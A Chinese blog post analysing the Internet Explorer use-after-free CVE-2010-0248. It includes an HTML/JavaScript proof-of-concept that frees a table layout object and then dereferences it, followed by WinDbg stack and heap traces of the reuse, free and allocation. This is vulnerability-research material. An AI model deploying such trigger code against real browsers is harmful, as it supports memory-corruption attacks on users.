CVE-2010-0248

[CNNVD]Microsoft Internet Explorer 多个远程代码执行漏洞(CNNVD-201001-237)

Microsoft Internet Explorer 6, 6 SP1, 7, 和 8版本没有适当地处理内存中的对象,这可能会允许远程攻击者通过访问(1)未被适当初始化的或(2)被删除的一个对象,执行任意代码。该漏洞会引起内存破坏,它又称为"未初始化内存漏洞"。

POC

<html>
<body>
<table id="test"> <tr></tr> </table>
<script>
Math.tan(2,3);
var test = document.getElementById("test");
Math.sin(0);
var x = test.cells.item(0);
Math.cos(0);
test.outerText = ‘test text‘; // 删除表格
Math.tan(2,3);
x = test.cells.item(0); // 再试图引用表格的元素,此时将访问已释放的内存
</script>
</body>
</html>

重利用

1:020> r
eax=0644efa0 ebx=00000078 ecx=00000000 edx=00000000 esi=00000078 edi=06e0bfd8
eip=685dbb57 esp=0429ef60 ebp=0429efa8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableCellsCollectionCacheItem::GetNext+0x12:
685dbb57 3b4854          cmp     ecx,dword ptr [eax+54h] ds:0023:0644eff4=????????
1:020> kv
ChildEBP RetAddr  Args to Child
0429ef60 68404383 00000000 063ecfd0 00000078 mshtml!CTableCellsCollectionCacheItem::GetNext+0x12 (FPO: [0,0,1])
0429efa8 68404319 063ecfd0 07cbcc18 00000004 mshtml!CCollectionCache::GetIntoAry+0x4e
0429efec 684044a2 00000002 07cbcc18 0429f0d8 mshtml!CCollectionCache::GetDispID+0x13e
0429f000 684190d4 063ecfd0 00000002 07cbcc18 mshtml!DispatchGetDispIDCollection+0x3f
0429f028 683f1e59 06e0dfd8 07cbcc18 10000001 mshtml!CElementCollectionBase::VersionedGetDispID+0x46
0429f06c 68a3a304 06657fd8 07cbcc18 10000001 mshtml!PlainGetDispID+0xdc
0429f09c 68a3a272 07cbcc18 0429f0d8 06657fd8 jscript!IDispatchExGetDispID+0xa5
0429f0b4 68a3a47a 05646d10 0429f0d8 00000001 jscript!GetDex2DispID+0x31
0429f0e0 68a4d8c8 05646d10 0429f114 00000003 jscript!VAR::InvokeByName+0xee
0429f12c 68a4d96f 05646d10 00000003 0429f2ac jscript!VAR::InvokeDispName+0x7d
0429f158 68a451b6 05646d10 00000000 00000003 jscript!VAR::InvokeByDispID+0xce
0429f2f4 68a45c9d 0429f30c 0429f450 07ccaf88 jscript!CScriptRuntime::Run+0x2a97
0429f3dc 68a45bfb 0429f450 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0429f424 68a45e11 0429f450 00000000 00000000 jscript!ScrFncObj::Call+0x8d
0429f4a0 68a4612a 07ccaf88 0429f660 00000000 jscript!CSession::Execute+0x15f
0429f4ec 68a4c2d9 0563cdf0 0429f660 0429f670 jscript!COleScript::ExecutePendingScripts+0x1bd
0429f550 68a4c0f1 0563cdf0 071a2fec 68336970 jscript!COleScript::ParseScriptTextCore+0x2a4
0429f578 683368c7 0563cdf4 06e30e14 071a2fec jscript!COleScript::ParseScriptText+0x30
0429f5d0 683366bf 0711cfa8 00000000 07184f30 mshtml!CScriptCollection::ParseScriptText+0x218
0429f694 68336c35 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3ae

释放

1:021> r
eax=681c95f8 ebx=07762fc0 ecx=06572fa0 edx=057b1980 esi=06572fa0 edi=07762fc0
eip=683e2f5b esp=041aedf0 ebp=041aee0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CLayout::Release:
683e2f5b 8bff            mov     edi,edi
1:021> kv
ChildEBP RetAddr  Args to Child
041aedec 683e32d0 06572fa0 00000000 07762fc0 mshtml!CLayout::Release
041aee0c 68387da7 0676ef30 00000000 041aef78 mshtml!CElement::Passivate+0xce
041aee1c 683e0fdf 07762fc0 00000000 682c660e mshtml!CBase::PrivateRelease+0x2d
041aee28 682c660e 0676ef30 00000000 00000018 mshtml!CElement::PrivateExitTree+0x11 (FPO: [0,0,1])
041aef78 682c5b42 041af09c 7728517e 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x841
041af058 682c6ff9 041af090 041af09c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
041af0a8 682c6f39 041af108 041af144 00000001 mshtml!CDoc::CutCopyMove+0xca
041af0c4 682c6f17 041af108 041af144 00000000 mshtml!CDoc::Remove+0x18
041af0dc 681f288a 041af144 07799fb8 07a54c58 mshtml!RemoveWithBreakOnEmpty+0x3a
041af180 682c704a 00000001 00000000 07a54c58 mshtml!CElement::InjectInternal+0x32a
041af19c 6850aee9 07799fb8 00000001 00000000 mshtml!CElement::InjectCompatBSTR+0x46
041af1c0 684072d6 07799fb8 07a54c58 07a72fd0 mshtml!CElement::put_outerText+0x25
041af1f0 683f235c 07799fb8 07a72fd0 0771efd8 mshtml!GS_BSTR+0x1ac
041af264 683fc75a 07799fb8 80010405 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
041af2b4 6826f1e5 07799fb8 80010405 00000001 mshtml!CElement::ContextInvokeEx+0x9d
041af2f8 683a3104 07799fb8 80010405 00000001 mshtml!CTable::VersionedInvokeEx+0xbf
041af34c 6baca22a 04fbefd8 80010405 00000001 mshtml!PlainInvokeEx+0xeb
041af388 6baca175 070fed10 80010405 00000409 jscript!IDispatchExInvokeEx2+0x104
041af3c4 6baca3f6 070fed10 00000409 00000004 jscript!IDispatchExInvokeEx+0x6a
041af484 6baca4a0 80010405 00000004 00000000 jscript!InvokeDispatchEx+0x98

分配

1:021> !heap -p -a 06572fa0
    address 06572fa0 found in
    _DPH_HEAP_ROOT @ 191000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 65b25e4:          6572fa0               5c -          6572000             2000
          mshtml!CTableRowLayout::`vftable‘
    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77247d96 ntdll!RtlpAllocateHeap+0x000000c4
    772134ca ntdll!RtlAllocateHeap+0x0000023a
    68319b3b mshtml!GetLayoutFromFactory+0x00000697
    683bdf7b mshtml!CElement::CreateLayout+0x00000021
    682bd56d mshtml!CTableRow::RowLayoutCache+0x00000043
    682bcff2 mshtml!CTableRow::Notify+0x00000176
    6830780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
    68306bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
    682f77cf mshtml!CHtmPost::Broadcast+0x0000000f
    682f7924 mshtml!CHtmPost::Exec+0x00000255
    682f8a99 mshtml!CHtmPost::Run+0x00000015
    682f89fd mshtml!PostManExecute+0x000001fb
    682f95b6 mshtml!CPostManager::PostManOnTimer+0x00000134
    683994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
    683837f7 mshtml!GlobalWndProc+0x0000010c
    76c686ef USER32!InternalCallWinProc+0x00000023
    76c68876 USER32!UserCallWinProcCheckWow+0x0000014b
    76c689b5 USER32!DispatchMessageWorker+0x0000035e
    76c68e9c USER32!DispatchMessageW+0x0000000f
    6ea704a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
    6ea80446 IEFRAME!LCIETab_ThreadProc+0x000002c1
    76a749bd iertutil!CIsoScope::RegisterThread+0x000000ab
    77111174 kernel32!BaseThreadInitThunk+0x0000000e
    7721b3f5 ntdll!__RtlUserThreadStart+0x00000070
    7721b3c8 ntdll!_RtlUserThreadStart+0x0000001b
<table id="test"> <tr></tr> </table>

创建了CTableRowLayout对象

test.outerText = ‘test text‘; 

释放了CTableRowLayout对象

x = test.cells.item(0);

悬垂指针引用了CTableRowLayout对象

为什么会解引用已释放的对象?悬垂指针是怎么产生的?

时间: 2024-09-28 00:31:10

CVE-2010-0248的相关文章

Visual Basic 2010 2012 2013 从入门到精通

Visual Basic 2010 2012 2013 从入门到精通 VB一直以来以简单易用,功能强大,而深受广大编爱好者的青睐.而继VB6.0后,发布的VB.net可以说是具有划时代意义的产品,其在保留原有易用性的基础上,高速增强其功能.现如今VB的程序已经完全可以用VB.net来开发与C++.Java相抗衡的软件产品.最新版本的Visual Basic 2010,其功能的强大,可以说是有史以来最强悍版本,也是一套可以与任何一套编程语言相媲美的产品.在国外,更是受前所未有欢迎.本站教程为无限升

部署FIM 2010 R2&mdash;&mdash;6安装和配置PCNS

部署FIM 2010 R2--6安装和配置PCNS 在所有域控安装安装PCNS 1. 如果第一次安装PSNS需要扩展构架,如果之前安装过PCNS,略过此步骤,扩展构建需要在CMD进入PCNS安装目录中运行"Password Change Notification Service.msi" SCHEMAONLY=TRUE 下载PCNS安装包,首先在每台DC上扩展架构, msiexec /i "C:\Users\Administrator\Desktop\Password Cha

部署FIM 2010 R2&mdash;5配置Synchronization Service

部署FIM 2010 R2-配置Synchronization Service 配置多有域环境账户密码同步 在各个域创建ADMA账户,并赋予对域的复制目录更改和复制目录更改所有项权限:和对用户的密码重置和解锁密码权限: 在fim01所使用的DNS服务器上,建立同步密码目标域的DNS条件转发:并测试能正常解析目标域: 确保fim01到目标域的域控制器的TCP和UDP端口389.88.464能双向正常通信: 1.打开Synchronization Service窗口, 2.选择Management

部署FIM 2010 R2&mdash;4安装FIM 2010 R2 Synchronization Service

部署FIM 2010 R2-4安装FIM 2010 R2 Synchronization Service 1.打开FIM2010 R2安装控制台,选择"Install Synchronization Service" 2.选择"下一步", 同意许可,选择"下一步", 保持默认, 3.为FIM同步服务指定数据库和实例, 4.为FIM同步服务指定服务账户,如下图,(注:Domain必须写为contoso,而不是contoso.com) 5.使用默认组

部署FIM 2010 R2&mdash;3安装FIM 2010 R2 Service and Portal

部署FIM 2010 R2-3安装FIM 2010 R2 Service and Portal 1.打开FIMSplash文件,如下图, 选择"Install Service and Portal", 2.选择"下一步", 选择"下一步", 选择"下一步", 3.选择要安装的角色,这里我们全部安装, 4.为FIM服务器指定SQL 2008数据库服务器名称以及FIM数据库名称,这里使用本地数据库服务,数据库名称使用默认名称, 5

部署FIM 2010 R2&mdash;2服务账号和其他准备

部署FIM 2010 R2-2服务账号和其他准备 Create an e-mail-enabled domain service account to run the FIM Service component. 为fimmail账号启用邮箱, 2. Create a domain service account to run the FIM Synchronization Service. 3. Create a FIM Service Management Agent account. 4.

部署FIM 2010 R2&mdash;1先决条件准备

下面的章节中,我们主要介绍FIM2010 R2在俩个林之间进行密码同步,完美的解决了互联网公司内网开发环境和外网办公环境回来修改密码的问题. 为互联网公司IT环境带来很大的便捷,大大节省了IT管理的成本,提高了IT人员的工作效率和公司网络环境的安全性! 环境介绍: Contoso DC: 10.0.0.1 Contoso Client: 10.0.0.250 Zyliday DC: 20.0.0.1 Zyliday Client: 20.0.0.3 FIM 2010 R2: 10.0.0.29

Exchange 2016集成ADRMS系列-12:域内outlook 2010客户端测试

接下来,我们来到域内安装了office 2010的机器上进行测试. 首先我们在客户端上强制刷新组策略,把我们刚才设置的策略刷新下来. 然后我们可以运行gpresult /h result.html来看看策略是不是已经下来了. 策略下来之后,我们打开客户端上面的outlook 2010,然后查看一下,可以看到默认已经可以使用RMS的权限模板了.

Lesson9 Exchange 2010 Management Skills

Lesson9 Exchange 2010 Management Skills 1-安装 安装好先决条件容易遗漏的一件事: 下面这个服务一定要改为自动 2-委派安装 从第二台Exchange 2010服务器开始,管理员就可以将域用户添加到delegated setup组中,委派域用户完成 Exchange 2010 的部署 委派组: 先在第一台 exchangerun下面的命令 就是让第二台exchange server加入到组织中 回到第二台exchange server上安装exchange

Lync Server 2010批量添加联系人并同步联系人

最近一直帮助朋友整理Lync Server 2010,总是听他抱怨说微软的Lync不能实现组织结构等方面的联系人列表,其实也不完全没办法实现,早在OCS的年代,OCS利用Restkit tool工具进行添加联系人列表,而到了Lync的时代虽然Restkit Tool工具还在,但是已然无法利用之前的方式进行批量添加联系人了,在网上有人表示利用LyncAddContacts.vbs这个工具进行批量添加,但是所有的文章只是把国外这个作者的写的东西照抄过来并且翻译一下就成为原创发布到网络上,本人觉得现在